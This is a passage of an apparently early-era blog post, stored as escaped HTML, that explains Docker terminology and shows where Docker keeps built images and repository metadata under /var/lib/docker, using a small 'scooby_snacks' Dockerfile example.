		<summary type="html">&lt;p&gt;If you&#39;re just starting out with &lt;a href=&#34;http://docker.io&#34;&gt;Docker&lt;/a&gt;, it&#39;s super easy to follow the examples, get started and run a few things. However, moving to the next step, making your own Dockerfiles, can be a bit confusing. One of the more common points of confusion seems to be:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Where are my Docker images stored?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h4 id=&#34;--everyone&#34;&gt;- Everyone&lt;/h4&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;I know this certainly left me scratching my head a bit. Even worse, as a n00b, the last thing you want to do is publish your tinkering on the &lt;a href=&#34;https://index.docker.io/&#34;&gt;public Docker Index&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Checkout my awesome new Docker image &lt;code&gt;thoward/i_have_no_idea_what_im_doing&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yeah. Not really what I want to do.&lt;/p&gt;&#xA;&lt;p&gt;Even worse, for quite a while there was no way to delete something that you had published, so your shamefully awkward learning process was up there for good. Luckily, deleting published Docker repositories is now quite easy.&lt;/p&gt;&#xA;&lt;p&gt;So let me start with this small assurance; &lt;em&gt;Nothing you do will become public&lt;/em&gt; especially if:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You haven&#39;t made an account on the public index.&lt;/li&gt;&#xA;&lt;li&gt;You haven&#39;t run &lt;code&gt;docker login&lt;/code&gt; to authenticate via the command-line client.&lt;/li&gt;&#xA;&lt;li&gt;You don&#39;t run &lt;code&gt;docker push&lt;/code&gt;, to push an image up to the index.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;vocabulary&#34;&gt;Vocabulary&lt;/h2&gt;&#xA;&lt;p&gt;One of the things that contributes to much of the confusion around Docker is the language that&#39;s used. There&#39;s a lot of terminology which seem to overlap, or is a bit ambiguous, used somewhat incorrectly, or has a well-established meaning that is different from how Docker uses it.&lt;/p&gt;&#xA;&lt;p&gt;I&#39;ll try to clear those up here, in a quick vocabulary lesson.&lt;/p&gt;&#xA;&lt;h3 id=&#34;image-vs-dockerfile&#34;&gt;Image vs Dockerfile&lt;/h3&gt;&#xA;&lt;p&gt;This one is the least confusing, but it&#39;s an important distinction. Docker uses &lt;em&gt;images&lt;/em&gt; to run your code, not the &lt;em&gt;Dockerfile&lt;/em&gt;. The &lt;em&gt;Dockerfile&lt;/em&gt; is used to build the image when you run &lt;code&gt;docker build&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you go browsing around on the Docker Index, you&#39;ll see lots of images listed there, but weirdly, you can&#39;t see the &lt;em&gt;Dockerfile&lt;/em&gt; that built them. The image is an &lt;em&gt;opaque asset&lt;/em&gt; that is compiled from the &lt;em&gt;Dockerfile&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;When you run &lt;code&gt;docker push&lt;/code&gt; to publish an image, it&#39;s not publishing your source code, it&#39;s publishing the image that was built from your source code.&lt;/p&gt;&#xA;&lt;h3 id=&#34;registry-vs-index&#34;&gt;Registry vs Index&lt;/h3&gt;&#xA;&lt;p&gt;The next weird thing is the idea of a &lt;em&gt;Registry&lt;/em&gt; and an &lt;em&gt;Index&lt;/em&gt;, and how these are separate things.&lt;/p&gt;&#xA;&lt;p&gt;An &lt;em&gt;index&lt;/em&gt; manages user accounts, permissions, search, tagging, and all that nice stuff that&#39;s in the public web interface.&lt;/p&gt;&#xA;&lt;p&gt;A &lt;em&gt;registry&lt;/em&gt; stores and serves up the actual image assets, and it delegates authentication to the &lt;em&gt;index&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;When you run &lt;code&gt;docker search&lt;/code&gt;, it&#39;s searching the &lt;em&gt;index&lt;/em&gt;, not the &lt;em&gt;registry&lt;/em&gt;. In fact, it might be searching &lt;em&gt;multiple registries&lt;/em&gt; that the index is aware of.&lt;/p&gt;&#xA;&lt;p&gt;When you run &lt;code&gt;docker push&lt;/code&gt; or &lt;code&gt;docker pull&lt;/code&gt;, the &lt;em&gt;index&lt;/em&gt; determines if you are allowed to access or modify the image, but the &lt;em&gt;registry&lt;/em&gt; is the piece that stores it or sends it down the wire to you after the &lt;em&gt;index&lt;/em&gt; approves the operation. Also, the &lt;em&gt;index&lt;/em&gt; figures out which &lt;em&gt;registry&lt;/em&gt; that particular image lives in and forwards the request appropriately.&lt;/p&gt;&#xA;&lt;p&gt;Beyond that, when you&#39;re working locally and running commands like &lt;code&gt;docker images&lt;/code&gt;, you&#39;re interacting with something that is neither an index or a registry, but a little of both.&lt;/p&gt;&#xA;&lt;h3 id=&#34;repository&#34;&gt;Repository&lt;/h3&gt;&#xA;&lt;p&gt;Docker&#39;s use of this word is similar to its use at &lt;a href=&#34;http://github.com&#34;&gt;Github&lt;/a&gt;, and other source control systems, but also, kind of not.&lt;/p&gt;&#xA;&lt;p&gt;Three common head-scratching questions are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What&#39;s the difference between a repository and a registry?&lt;/li&gt;&#xA;&lt;li&gt;What&#39;s the difference between a repository and an image?&lt;/li&gt;&#xA;&lt;li&gt;What&#39;s the difference between a repository and an index username?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In fact, this is a problem, because a &lt;em&gt;repository&lt;/em&gt; is all of those things and not really any of them either. Further, when you run &lt;code&gt;docker images&lt;/code&gt; you get output like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker images&#xA;REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE&#xA;ubuntu              12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;ubuntu              quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, the list of &lt;em&gt;images&lt;/em&gt; seems to be a list of repositories? Huh? Actually the images are the GUIDs, but that&#39;s not how you interact with them.&lt;/p&gt;&#xA;&lt;p&gt;Let&#39;s start over with this.&lt;/p&gt;&#xA;&lt;p&gt;When you run &lt;code&gt;docker build&lt;/code&gt; or &lt;code&gt;docker commit&lt;/code&gt;, you can specify a name for the &lt;em&gt;image&lt;/em&gt;. The name is usually in the format of &lt;code&gt;username/image_name&lt;/code&gt;, but it doesn&#39;t have to be. It could be anything, and it could even be the same as something well known and published.&lt;/p&gt;&#xA;&lt;p&gt;However, when the time comes to &lt;code&gt;docker push&lt;/code&gt;, the &lt;em&gt;index&lt;/em&gt; will look at the name, and will check to see if it has a matching &lt;em&gt;repository&lt;/em&gt;. If it does, it will check to see if you have access to that &lt;em&gt;repository&lt;/em&gt;, and if so, allow you to push the new version of the &lt;em&gt;image&lt;/em&gt; to it. So, a &lt;em&gt;registry&lt;/em&gt; holds a collection of named &lt;em&gt;repositories&lt;/em&gt;, which themselves are a &lt;em&gt;collection of images&lt;/em&gt; tracked by GUIDs. This is also where &lt;em&gt;tags&lt;/em&gt; come in. You can tag an image, and store multiple versions of that image with different GUIDs in a single named &lt;em&gt;repository&lt;/em&gt;, access different tagged versions of an image with a special syntax like &lt;code&gt;username/image_name:tag&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker images&#xA;REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE&#xA;ubuntu              12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;ubuntu              quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If we look at the output from &lt;code&gt;docker images&lt;/code&gt; again, now it makes a little more sense. We have five different versions of the image named &lt;code&gt;ubuntu&lt;/code&gt;, each one tagged slightly differently. The repository holds all of those under that name &lt;code&gt;ubuntu&lt;/code&gt;. So, while it may seem like &lt;code&gt;ubuntu&lt;/code&gt; is an &lt;em&gt;image name&lt;/em&gt;, it&#39;s actually a &lt;em&gt;repository name&lt;/em&gt;, indicating where it came from, or where it should go during a push.&lt;/p&gt;&#xA;&lt;p&gt;Further, the repository name has a specific schema to it. An &lt;em&gt;index&lt;/em&gt; can parse out the username from first part, and figure out where it is.&lt;/p&gt;&#xA;&lt;p&gt;So, this the confusing part: Suppose there&#39;s a Docker image called &lt;code&gt;thoward/scooby_snacks&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The official &amp;quot;repository name&amp;quot; is &lt;code&gt;thoward/scooby_snacks&lt;/code&gt;, even though we would normally think of the repository as just being &lt;code&gt;scooby_snacks&lt;/code&gt; (eg, in GitHub, or elsewhere).&lt;/p&gt;&#xA;&lt;p&gt;In fact, when the Docker documentation refers to a &lt;em&gt;repository&lt;/em&gt;, it sometimes means the whole thing, username included, and sometimes only means the part after the username.&lt;/p&gt;&#xA;&lt;p&gt;That&#39;s because some repositories don&#39;t have usernames (like &lt;code&gt;ubuntu&lt;/code&gt;). The username is very important to handle separately, because it&#39;s used for authentication by the &lt;em&gt;index&lt;/em&gt;, so that part of the repository name has its own semantics separate from the name, when it&#39;s there.&lt;/p&gt;&#xA;&lt;h2 id=&#34;local-storage-on-the-docker-host&#34;&gt;Local Storage on the Docker Host&lt;/h2&gt;&#xA;&lt;p&gt;So far I&#39;ve been explaining the intricacies of remote storage, and how that relates to the confusing vocabulary, but running &lt;code&gt;docker images&lt;/code&gt; shows you only what is local to your machine.&lt;/p&gt;&#xA;&lt;p&gt;Where is this stuff? The first place to look is in &lt;code&gt;/var/lib/docker/&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Open up the file &lt;code&gt;repositories&lt;/code&gt; to find a JSON list of the repositories on your host:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo cat /var/lib/docker/repositories | python -mjson.tool&#xA;{&#xA;    &amp;quot;Repositories&amp;quot;: {&#xA;        &amp;quot;ubuntu&amp;quot;: {&#xA;            &amp;quot;12.04&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;            &amp;quot;12.10&amp;quot;: &amp;quot;b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc&amp;quot;,&#xA;            &amp;quot;latest&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;            &amp;quot;precise&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;            &amp;quot;quantal&amp;quot;: &amp;quot;b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc&amp;quot;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Hey, that matches the output from &lt;code&gt;docker images&lt;/code&gt;!&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE&#xA;ubuntu              12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;ubuntu              quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Checkout what&#39;s in &lt;code&gt;/var/lib/docker/graph/&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo ls -al /var/lib/docker/graph&#xA;total 24&#xA;drwx------ 6 root root 4096 Nov 22 06:52 .&#xA;drwx------ 5 root root 4096 Dec 13 04:25 ..&#xA;drwxr-xr-x 3 root root 4096 Dec 13 04:26 27cf784147099545&#xA;drwxr-xr-x 3 root root 4096 Nov 22 06:52 8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&#xA;drwxr-xr-x 3 root root 4096 Nov 22 06:52 b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc&#xA;drwx------ 3 root root 4096 Nov 22 06:52 _tmp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Not terribly friendly, but we can see how Docker is keeping track of these, based on the &lt;code&gt;repositories&lt;/code&gt; JSON file which holds a mapping of repository names and tags, to the underlying image GUIDs.&lt;/p&gt;&#xA;&lt;p&gt;We have two images from the &lt;code&gt;ubuntu&lt;/code&gt; repository, with the tags &lt;strong&gt;12.04&lt;/strong&gt;, &lt;strong&gt;precise&lt;/strong&gt;, and &lt;strong&gt;latest&lt;/strong&gt; all corresponding to the image with id &lt;code&gt;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&lt;/code&gt; (or &lt;code&gt;8dbd9e392a96&lt;/code&gt; for short).&lt;/p&gt;&#xA;&lt;p&gt;So what&#39;s actually stored there?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo ls -al /var/lib/docker/graph/8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&#xA;total 20&#xA;drwxr-xr-x  3 root root 4096 Nov 22 06:52 .&#xA;drwx------  6 root root 4096 Nov 22 06:52 ..&#xA;-rw-------  1 root root  437 Nov 22 06:51 json&#xA;drwxr-xr-x 22 root root 4096 Apr 11  2013 layer&#xA;-rw-------  1 root root    9 Nov 22 06:52 layersize&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The entries here are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;json&lt;/code&gt; - holds metadata about the image&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;layersize&lt;/code&gt; - just a number, indicating the size of the layer&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;layer/&lt;/code&gt; - sub-directory that holds the rootfs for the container image&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo cat /var/lib/docker/graph/8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c/json | python -mjson.tool&#xA;{&#xA;    &amp;quot;comment&amp;quot;: &amp;quot;Imported from -&amp;quot;,&#xA;    &amp;quot;container_config&amp;quot;: {&#xA;        &amp;quot;AttachStderr&amp;quot;: false,&#xA;        &amp;quot;AttachStdin&amp;quot;: false,&#xA;        &amp;quot;AttachStdout&amp;quot;: false,&#xA;        &amp;quot;Cmd&amp;quot;: null,&#xA;        &amp;quot;Env&amp;quot;: null,&#xA;        &amp;quot;Hostname&amp;quot;: &amp;quot;&amp;quot;,&#xA;        &amp;quot;Image&amp;quot;: &amp;quot;&amp;quot;,&#xA;        &amp;quot;Memory&amp;quot;: 0,&#xA;        &amp;quot;MemorySwap&amp;quot;: 0,&#xA;        &amp;quot;OpenStdin&amp;quot;: false,&#xA;        &amp;quot;PortSpecs&amp;quot;: null,&#xA;        &amp;quot;StdinOnce&amp;quot;: false,&#xA;        &amp;quot;Tty&amp;quot;: false,&#xA;        &amp;quot;User&amp;quot;: &amp;quot;&amp;quot;&#xA;    },&#xA;    &amp;quot;created&amp;quot;: &amp;quot;2013-04-11T14:13:15.57812-07:00&amp;quot;,&#xA;    &amp;quot;docker_version&amp;quot;: &amp;quot;0.1.4&amp;quot;,&#xA;    &amp;quot;id&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo cat /var/lib/docker/graph/8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c/layersize&#xA;131301903&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo ls -al /var/lib/docker/graph/8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c/layer&#xA;total 88&#xA;drwxr-xr-x 22 root root 4096 Apr 11  2013 .&#xA;drwxr-xr-x  3 root root 4096 Nov 22 06:52 ..&#xA;drwxr-xr-x  2 root root 4096 Apr 11  2013 bin&#xA;drwxr-xr-x  2 root root 4096 Apr 19  2012 boot&#xA;drwxr-xr-x  4 root root 4096 Nov 22 06:51 dev&#xA;drwxr-xr-x 41 root root 4096 Nov 22 06:51 etc&#xA;drwxr-xr-x  2 root root 4096 Apr 19  2012 home&#xA;drwxr-xr-x 11 root root 4096 Nov 22 06:51 lib&#xA;drwxr-xr-x  2 root root 4096 Nov 22 06:51 lib64&#xA;drwxr-xr-x  2 root root 4096 Apr 11  2013 media&#xA;drwxr-xr-x  2 root root 4096 Apr 19  2012 mnt&#xA;drwxr-xr-x  2 root root 4096 Apr 11  2013 opt&#xA;drwxr-xr-x  2 root root 4096 Apr 19  2012 proc&#xA;drwx------  2 root root 4096 Nov 22 06:51 root&#xA;drwxr-xr-x  4 root root 4096 Nov 22 06:51 run&#xA;drwxr-xr-x  2 root root 4096 Nov 22 06:51 sbin&#xA;drwxr-xr-x  2 root root 4096 Mar  5  2012 selinux&#xA;drwxr-xr-x  2 root root 4096 Apr 11  2013 srv&#xA;drwxr-xr-x  2 root root 4096 Apr 14  2012 sys&#xA;drwxrwxrwt  2 root root 4096 Apr 11  2013 tmp&#xA;drwxr-xr-x 10 root root 4096 Nov 22 06:51 usr&#xA;drwxr-xr-x 11 root root 4096 Nov 22 06:51 var&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Pretty easy. This is the magic behind being able to refer to an image by its repository name, even if you&#39;re not interacting with the remote Docker Index or Docker Registry. Once you&#39;ve pulled it down to your workstation, Docker can work with it by name using these files. This is also where things go when you&#39;re developing a new Dockerfile.&lt;/p&gt;&#xA;&lt;h2 id=&#34;diy-dockerfiles&#34;&gt;DIY Dockerfiles&lt;/h2&gt;&#xA;&lt;p&gt;Let&#39;s try an example. Make a &lt;code&gt;Dockerfile&lt;/code&gt; with the following contents:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;FROM ubuntu&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This basically doesn&#39;t do anything except say that we&#39;re including the &lt;code&gt;ubuntu&lt;/code&gt; image as our base layer, but that&#39;s enough to get started.&lt;/p&gt;&#xA;&lt;p&gt;Next, run &lt;code&gt;docker build -t scooby_snacks .&lt;/code&gt;. What that will do is look in the directory we specified (&lt;code&gt;.&lt;/code&gt;) for a file called &lt;code&gt;Dockerfile&lt;/code&gt; and then build it, and use the name &lt;code&gt;scooby_snacks&lt;/code&gt; for the repository.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker build -t scooby_snacks .&#xA;Uploading context 64184320 bytes&#xA;Step 1 : FROM ubuntu&#xA; ---&amp;gt; 8dbd9e392a96&#xA;Successfully built 8dbd9e392a96&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Oh no! It said &lt;em&gt;&amp;quot;Uploading context&amp;quot;&lt;/em&gt;... Did we just upload it to the public registry?&lt;/p&gt;&#xA;&lt;p&gt;Let&#39;s check:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker search scooby_snacks&#xA;NAME      DESCRIPTION   STARS     OFFICIAL   TRUSTED&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Whew! Not there. So why did it say that?&lt;/p&gt;&#xA;&lt;p&gt;I have no idea, but you can ignore it. Where did it really end up?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo cat /var/lib/docker/repositories | python -mjson.tool&#xA;{&#xA;    &amp;quot;Repositories&amp;quot;: {&#xA;        &amp;quot;scooby_snacks&amp;quot;: {&#xA;            &amp;quot;latest&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;&#xA;        },&#xA;        &amp;quot;ubuntu&amp;quot;: {&#xA;            &amp;quot;12.04&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;            &amp;quot;12.10&amp;quot;: &amp;quot;b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc&amp;quot;,&#xA;            &amp;quot;latest&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;            &amp;quot;precise&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;            &amp;quot;quantal&amp;quot;: &amp;quot;b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc&amp;quot;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Well, looks like Docker just &lt;em&gt;&amp;quot;uploaded&amp;quot;&lt;/em&gt; it to &lt;code&gt;/var/lib/docker&lt;/code&gt;. :)&lt;/p&gt;&#xA;&lt;p&gt;It should also show up in &lt;code&gt;docker images&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker images&#xA;REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE&#xA;ubuntu              12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;scooby_snacks       latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;ubuntu              quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There it is! Docker was smart enough to realize that we didn&#39;t change anything, so it kept the same image id, and didn&#39;t bother copying the &lt;code&gt;ubuntu&lt;/code&gt; image. Pretty sweet.&lt;/p&gt;&#xA;&lt;p&gt;Next, we&#39;ll make a small change so that Docker will have to build a new layer.&lt;/p&gt;&#xA;&lt;p&gt;Edit &lt;code&gt;Dockerfile&lt;/code&gt; to have these contents:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;FROM ubuntu&#xA;&#xA;RUN touch scooby_snacks.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then run  &lt;code&gt;docker build -t scooby_snacks .&lt;/code&gt; to rebuild.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker build -t scooby_snacks .&#xA;Uploading context 64184320 bytes&#xA;Step 1 : FROM ubuntu&#xA; ---&amp;gt; 8dbd9e392a96&#xA;Step 2 : RUN touch scooby_snacks.txt&#xA; ---&amp;gt; Running in 86664242766c&#xA; ---&amp;gt; 91acef3a5936&#xA;Successfully built 91acef3a5936&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There should be a new directory under &lt;code&gt;/var/lib/docker/graph&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo ls -al /var/lib/docker/graph&#xA;total 28&#xA;drwx------ 7 root root 4096 Dec 13 06:27 .&#xA;drwx------ 5 root root 4096 Dec 13 06:27 ..&#xA;drwxr-xr-x 3 root root 4096 Dec 13 04:26 27cf784147099545&#xA;drwxr-xr-x 3 root root 4096 Nov 22 06:52 8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&#xA;drwxr-xr-x 3 root root 4096 Dec 13 06:27 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&#xA;drwxr-xr-x 3 root root 4096 Nov 22 06:52 b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc&#xA;drwx------ 3 root root 4096 Dec 13 06:27 _tmp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Docker gave it a new image ID:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;It has also been updated in &lt;code&gt;/var/lib/docker/repositories&lt;/code&gt; and &lt;code&gt;docker images&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo cat /var/lib/docker/repositories | python -mjson.tool&#xA;{&#xA;    &amp;quot;Repositories&amp;quot;: {&#xA;        &amp;quot;scooby_snacks&amp;quot;: {&#xA;            &amp;quot;latest&amp;quot;: &amp;quot;91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&amp;quot;&#xA;        },&#xA;        &amp;quot;ubuntu&amp;quot;: {&#xA;            &amp;quot;12.04&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;            &amp;quot;12.10&amp;quot;: &amp;quot;b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc&amp;quot;,&#xA;            &amp;quot;latest&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;            &amp;quot;precise&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;            &amp;quot;quantal&amp;quot;: &amp;quot;b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc&amp;quot;&#xA;        }&#xA;    }&#xA;}&#xA;$ docker images&#xA;REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE&#xA;scooby_snacks       latest              91acef3a5936        5 minutes ago       12.29 kB (virtual 131.3 MB)&#xA;ubuntu              12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;ubuntu              quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Let&#39;s see what &lt;code&gt;/var/lib/docker/graph/91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&lt;/code&gt; looks like now:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo cat /var/lib/docker/graph/91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9/json | python -mjson.tool&#xA;{&#xA;    &amp;quot;Size&amp;quot;: 0,&#xA;    &amp;quot;architecture&amp;quot;: &amp;quot;x86_64&amp;quot;,&#xA;    &amp;quot;config&amp;quot;: {&#xA;        &amp;quot;AttachStderr&amp;quot;: false,&#xA;        &amp;quot;AttachStdin&amp;quot;: false,&#xA;        &amp;quot;AttachStdout&amp;quot;: false,&#xA;        &amp;quot;Cmd&amp;quot;: null,&#xA;        &amp;quot;CpuShares&amp;quot;: 0,&#xA;        &amp;quot;Dns&amp;quot;: null,&#xA;        &amp;quot;Domainname&amp;quot;: &amp;quot;&amp;quot;,&#xA;        &amp;quot;Entrypoint&amp;quot;: [],&#xA;        &amp;quot;Env&amp;quot;: [&#xA;            &amp;quot;HOME=/&amp;quot;,&#xA;            &amp;quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&amp;quot;&#xA;        ],&#xA;        &amp;quot;ExposedPorts&amp;quot;: {},&#xA;        &amp;quot;Hostname&amp;quot;: &amp;quot;86664242766c&amp;quot;,&#xA;        &amp;quot;Image&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;        &amp;quot;Memory&amp;quot;: 0,&#xA;        &amp;quot;MemorySwap&amp;quot;: 0,&#xA;        &amp;quot;NetworkDisabled&amp;quot;: false,&#xA;        &amp;quot;OpenStdin&amp;quot;: false,&#xA;        &amp;quot;PortSpecs&amp;quot;: null,&#xA;        